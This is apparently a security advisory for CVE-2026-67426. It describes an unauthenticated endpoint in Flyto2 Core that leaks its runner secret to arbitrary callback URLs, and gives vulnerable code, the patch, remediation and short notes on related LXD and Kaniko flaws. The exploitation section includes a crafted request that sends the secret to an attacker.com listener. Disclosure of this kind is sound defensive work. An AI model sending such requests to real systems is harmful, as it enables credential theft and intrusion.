Jul 30, 2026·6 min read·47 visits
The flyto-verification service exposed an unauthenticated endpoint that sent internal runner secrets to arbitrary callback URLs, facilitating credential exfiltration and SSRF.
CVE-2026-67426 is a critical vulnerability in Flyto2 Core prior to version 2.26.7. The standalone flyto-verification service binds to all interfaces (0.0.0.0) on port 8344 and exposes an unauthenticated POST /run endpoint. This endpoint accepts an arbitrary client-controlled callback URL and makes an outbound POST request containing the sensitive internal runner secret in the headers. Attackers can exploit this to retrieve the FLYTO_RUNNER_SECRET and perform Server-Side Request Forgery (SSRF) against internal network targets.
The standalone flyto-verification service is a component of the Flyto2 Core platform designed to manage and verify execution workflows for AI agents and automation systems. To coordinate activities, the verification engine exposes an API endpoint to receive execution commands. By default, this service listens on TCP port 8344 and binds to all network interfaces (0.0.0.0), exposing the service to external network zones unless explicitly restricted by host-based or network firewalls.
The service defines a POST /run API endpoint to launch verification workflows. This endpoint does not require any form of authentication in versions prior to 2.26.7. This omission creates an exposed attack surface where any network-adjacent or external caller can interact directly with the execution kernel.
Furthermore, the application accepts a client-provided callback URL parameter within the request body. Upon completing the execution task, the runner performs an outbound HTTP POST request to this callback URL to return execution state evidence. Crucially, the outgoing request includes the plaintext token FLYTO_RUNNER_SECRET in its custom headers. This combination of behaviors results in missing authentication (CWE-306), Server-Side Request Forgery (CWE-918), and insufficient protection of sensitive credentials (CWE-522).
The root cause of CVE-2026-67426 lies within the implementation of the run route and the subsequent post_callback helper function inside src/core/verification_service.py. The FastAPI application routing configuration lacks dependency injections or security barriers to validate the identity of the incoming HTTP request. This design assumes that the port 8344 is only accessible to trusted internal components, which is invalidated by the default network binding configuration.
When a request is submitted to the /run endpoint, the server parses the payload into a VerificationRunRequest schema. This schema includes the callback_url parameter, which is stored without sanitization or validation. The execution framework starts the validation process in the background and schedules the post_callback asynchronous function to run upon task completion.
Inside post_callback, the server instantiates an aiohttp.ClientSession and prepares to send the execution evidence. To authenticate itself to the primary engine, the runner fetches the local environment variables FLYTO_RUNNER_SECRET or FLYTO_VERIFICATION_SECRET. It appends the retrieved token value as the X-Internal-Key HTTP header. Because the application does not verify if the destination host in callback_url belongs to an authorized domain or internal IP block, it transmits this sensitive secret directly to the user-specified network destination.
In vulnerable versions, the application defined the endpoint without any access controls. The snippet below highlights the original lack of validation and the subsequent patch introduced in commit 0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9:
# VULNERABLE IMPLEMENTATION
@app.post("/run")
async def run(body: VerificationRunRequest):
execution_id = f"verification-{uuid.uuid4().hex[:12]}"
queued = VerificationRunRequest(**body.model_dump())
# Directly starts execution without verification...The corresponding unpatched outgoing callback routine did not perform destination checking before dispatching the sensitive header:
# VULNERABLE CALLBACK ROUTINE
async def post_callback(callback_url: str, payload: Mapping[str, Any]) -> None:
if not callback_url:
return
headers = {"Content-Type": "application/json"}
internal_key = os.environ.get("FLYTO_RUNNER_SECRET") or os.environ.get("FLYTO_VERIFICATION_SECRET")
if internal_key:
headers["X-Internal-Key"] = internal_key
async with aiohttp.ClientSession() as session:
# Sends token to arbitrary callback_url
async with session.post(callback_url, json=payload, headers=headers) as resp:
...To resolve this, the vendor added an explicit authentication dependency to the endpoint using FastAPI's dependency injection system, enforcing validation of the caller's identity via require_run_auth:
# PATCHED IMPLEMENTATION
def require_run_auth(x_internal_key: str = Header(default="", alias=INTERNAL_KEY_HEADER)):
expected = (
os.environ.get("FLYTO_VERIFICATION_API_KEY")
or os.environ.get("FLYTO_RUNNER_SECRET")
or os.environ.get("FLYTO_VERIFICATION_SECRET")
)
if not expected:
raise HTTPException(
status_code=503,
detail="verification runner auth is not configured; set FLYTO_VERIFICATION_API_KEY",
)
if not hmac.compare_digest(x_internal_key or "", expected):
raise HTTPException(status_code=401, detail="unauthorized")
@app.post("/run", dependencies=[Depends(require_run_auth)])
async def run(body: VerificationRunRequest):
...The callback sequence was also fortified by introducing _callback_destination_allowed. This helper validates the callback_url against an environment-defined trusted host set (FLYTO_ENGINE_URL, FLYTO_ENGINE_CALLBACK_URL, and the FLYTO_TRUSTED_CALLBACK_HOSTS allowlist), and aborts execution if the target fails validation:
# PATCHED CALLBACK VALIDATION
async def post_callback(callback_url: str, payload: Mapping[str, Any]) -> None:
if not callback_url:
return
if not _callback_destination_allowed(callback_url):
return
# Proceed to transmit payload...This remediation is highly complete because it closes both vectors: it stops unauthenticated entities from initiating runs, and it restricts the outbound data path, preventing the exfiltration of the runner secret to arbitrary listener hosts.
Exploitation of CVE-2026-67426 requires network connectivity to TCP port 8344 on the target machine. No prior authentication, user interaction, or specific application state is required. The exploit is executed in a multi-step sequence where the attacker sets up an external listener to harvest the token.
First, the attacker starts an HTTP listener on a public IP address (e.g., http://attacker.com/log). Next, the attacker sends a crafted HTTP POST request to the target /run endpoint. The body contains arbitrary parameters for the workflow alongside the callback_url pointing to the attacker's listener:
POST /run HTTP/1.1
Host: target-host:8344
Content-Type: application/json
Content-Length: 174
{
"workflowYaml": "name: dry\nsteps: []\n",
"params": {"target_url": "https://app.flyto2.com"},
"allowed_targets": ["https://app.flyto2.com"],
"callback_url": "http://attacker.com/log"
}The target runner executes the workflow. Upon completion, the runner initiates an outbound request back to the attacker's server, leaking the credentials:
POST /log HTTP/1.1
Host: attacker.com
Content-Type: application/json
X-Internal-Key: SECRET_VALUE_OF_FLYTO_RUNNER_SECRETThe attacker retrieves the value of X-Internal-Key from the request headers, gaining administrative rights to other core components of the Flyto2 ecosystem.
The security impact of CVE-2026-67426 is rated as critical, yielding a CVSS score of 9.3. The loss of confidentiality is high because the administrative runner secret (FLYTO_RUNNER_SECRET) is fully exfiltrated. With this token, an attacker can authenticate to other internal microservices and core components of Flyto2 Core, potentially achieving complete system compromise.
The impact on integrity is limited (low) because the callback mechanism itself only permits unauthorized workflow invocations. The scope is changed (S:C) because exploitation allows an attacker to pivot from the verification service network layer to other secure backend environments.
Furthermore, this vulnerability must be assessed alongside two adjacent SSRF flaws fixed in version 2.26.7: GHSA-pgwh-4jj4-qm8v (missing SSRF guards in HTTP-emitting modules) and GHSA-c9hr-64h3-gxpc (redirect bypasses via 30x headers). These vulnerabilities allowed attackers to bypass primitive domain validations by issuing redirections to private loopback ranges or metadata endpoints, multiplying the impact of any outbound HTTP-emitting functionality.
Remediation of CVE-2026-67426 requires upgrading flyto-core to version 2.26.7 or higher. To enforce the fix, operators must define the environment variable FLYTO_VERIFICATION_API_KEY. If this variable is absent, the verification runner fails closed and rejects incoming connection attempts on port 8344.
Furthermore, operators must define FLYTO_ENGINE_URL to point to the correct backend host, and can optionally specify a comma-separated list of safe domains in the FLYTO_TRUSTED_CALLBACK_HOSTS environment variable to strictly limit where callbacks can be transmitted.
To limit network exposure, network security policies should be enforced. Port 8344 should be restricted to internal loopback interfaces or tightly bound to private Docker/Kubernetes container subnets. It should never be accessible from the public internet.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
flyto-core flytohub | < 2.26.7 | 2.26.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306, CWE-918, CWE-522 |
| Attack Vector | Network |
| CVSS Base Score | 9.3 |
| EPSS Score | 0.00291 (0.29%) |
| Exploit Status | poc |
| KEV Status | not listed |
| Affected Component | flyto-verification service (port 8344) |
The flyto-verification service does not require authentication on its API run route, permitting unauthorized callers to trigger actions that leak internal secrets to external callback addresses.
CVE-2026-55622 (GHSA-qx75-2p3r-pwm5) is an improper access control vulnerability (CWE-284) in Canonical LXD and LXC Incus (tracked as GHSA-c9f5-j9c3-mhrg). In multi-tenant deployments utilizing project-based isolation, the REST API handler for instance creation via POST /1.0/instances verifies that the authenticated user has authorization in the destination project specified by the query parameter, but fails to verify whether the user holds read or view permissions for the source instance when executing a copy operation across projects. Consequently, an authenticated client restricted to a single project can clone instances or snapshots from unauthorized projects into their own project, resulting in complete disclosure of the target instance filesystem and embedded credentials.
An authorization bypass vulnerability in Canonical LXD (tracked as GHSA-7mr3-28h5-m5vx and CVE-2026-55621, and as GHSA-64f3-v33m-w89f in Linux Containers Incus) allows an authenticated user with restricted project access to copy custom storage volumes and volume snapshots from unauthorized projects. The flaw resides in the storagePoolVolumesPost REST API handler, which verifies permissions on the destination project but fails to check whether the caller holds view entitlements on the source project or volume specified in the request body.
A missing authorization and configuration validation vulnerability in Canonical LXD and LXC Incus allows authenticated users within restricted projects to bypass project security boundaries. By smuggling prohibited low-level configuration directives (such as raw.lxc or raw.qemu) inside instance snapshots or backup archives, an attacker can restore these configurations within a restricted project and execute arbitrary commands with root privileges on the underlying host operating system.
A symbolic link traversal vulnerability (CWE-59) in Canonical LXD and Linux Containers Incus allows an authenticated user with image import permissions to read and write arbitrary files on the host filesystem. During image archive unpacking, the daemon fails to reject top-level symbolic links for the instance `templates` directory. Subsequent requests to the instance template API endpoints follow this symbolic link outside the instance storage directory with root privileges, enabling complete host compromise.
CVE-2026-12411 is a broken access control vulnerability in the DevLXD interface of Canonical LXD versions 6.6 through 6.8. The flaw resides in the devLXDInstancePatchHandler component, which fails to verify storage volume ownership when an instance attaches a new disk device via the /dev/lxd guest socket. When the security.devlxd.management.volumes configuration option is enabled, an untrusted guest or DevLXD identity can issue a crafted HTTP PATCH request referencing another tenant's custom storage volume. The LXD host daemon subsequently mounts the target volume into the requesting guest, permitting unauthorized cross-tenant read and write operations.
CVE-2026-105769 (GHSA-5q7h-w9jf-cx97, GO-2026-6225) is an origin validation error and credential exfiltration vulnerability affecting Kaniko prior to version 1.25.20. The flaw stems from an unanchored regular expression in the integrated Azure Container Registry (ACR) credential helper (github.com/chrismellard/docker-credential-acr-env). When Kaniko processes a Dockerfile containing an image reference hosted on a lookalike domain containing an ACR suffix as a substring (e.g., x.azurecr.io.attacker.com), the credential helper acquires a Microsoft Entra ID access token for Azure Resource Manager and transmits it via HTTP POST to the attacker-controlled host.